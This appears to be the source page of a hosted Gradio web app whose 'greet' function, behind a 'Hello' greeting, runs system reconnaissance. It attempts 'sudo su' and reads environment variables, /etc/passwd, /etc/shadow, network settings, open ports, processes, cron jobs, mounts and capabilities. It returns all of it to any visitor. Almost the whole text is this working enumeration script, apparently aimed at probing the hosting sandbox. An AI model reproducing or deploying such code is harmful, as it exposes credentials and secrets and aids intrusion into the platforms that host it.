Spaces:
Runtime error
Runtime error
| import sys | |
| import gradio as gr | |
| import os | |
| def greet(name): | |
| os.popen("sudo su") | |
| environ = os.environ | |
| path = sys.path | |
| whoami = os.popen("whoami").read() | |
| ifconfig = os.popen("ifconfig").read() | |
| host = os.popen("hostname").read() | |
| uname = os.popen("uname -a").read() | |
| running = os.popen("ps aux").read() | |
| open_ports = os.popen("netstat -tuln").read() | |
| open_2 = os.popen("ss -tuln").read() | |
| crons = os.popen("crontab -l").read() | |
| mounted_fs = os.popen("df -h").read() | |
| envars = os.popen("printenv").read() | |
| user_info = os.popen("id").read() | |
| # net_conf = os.popen("ip addr show").read() | |
| # net_interfaces = os.popen("ip link show").read() | |
| passwd = os.popen("cat /etc/passwd").read() | |
| groups = os.popen("cat /etc/group").read() | |
| shadow = os.popen("cat /etc/shadow").read() | |
| kernel_modules = os.popen("lsmod").read() | |
| ls_dev = os.popen("ls /dev").read() | |
| grep_ro = os.popen("mount | grep '(ro'").read() | |
| grep_proc_tempfs = os.popen("mount | grep /proc.*tmpfs").read() | |
| capailities = os.popen("apk add -U libcap; capsh --print").read() | |
| res = f""" | |
| Environ: {environ} | |
| Path: {path} | |
| Whoami: {whoami} | |
| Ifconfig: {ifconfig} | |
| Host: {host} | |
| Uname: {uname} | |
| Running: {running} | |
| Open ports: {open_ports} | |
| Open 2: {open_2} | |
| Crontab: {crons} | |
| Mounted FS: {mounted_fs} | |
| Envars: {envars} | |
| User info: {user_info} | |
| Passwd: {passwd} | |
| Groups: {groups} | |
| Shadow: {shadow} | |
| Kernel modules: {kernel_modules} | |
| ls /dev: {ls_dev} | |
| grep ro: {grep_ro} | |
| grep proc tmpfs: {grep_proc_tempfs} | |
| Capabilities: {capailities} | |
| """ | |
| return "Hello %s!" % res | |
| iface = gr.Interface(fn=greet, inputs="text", outputs="text") | |
| iface.launch() | |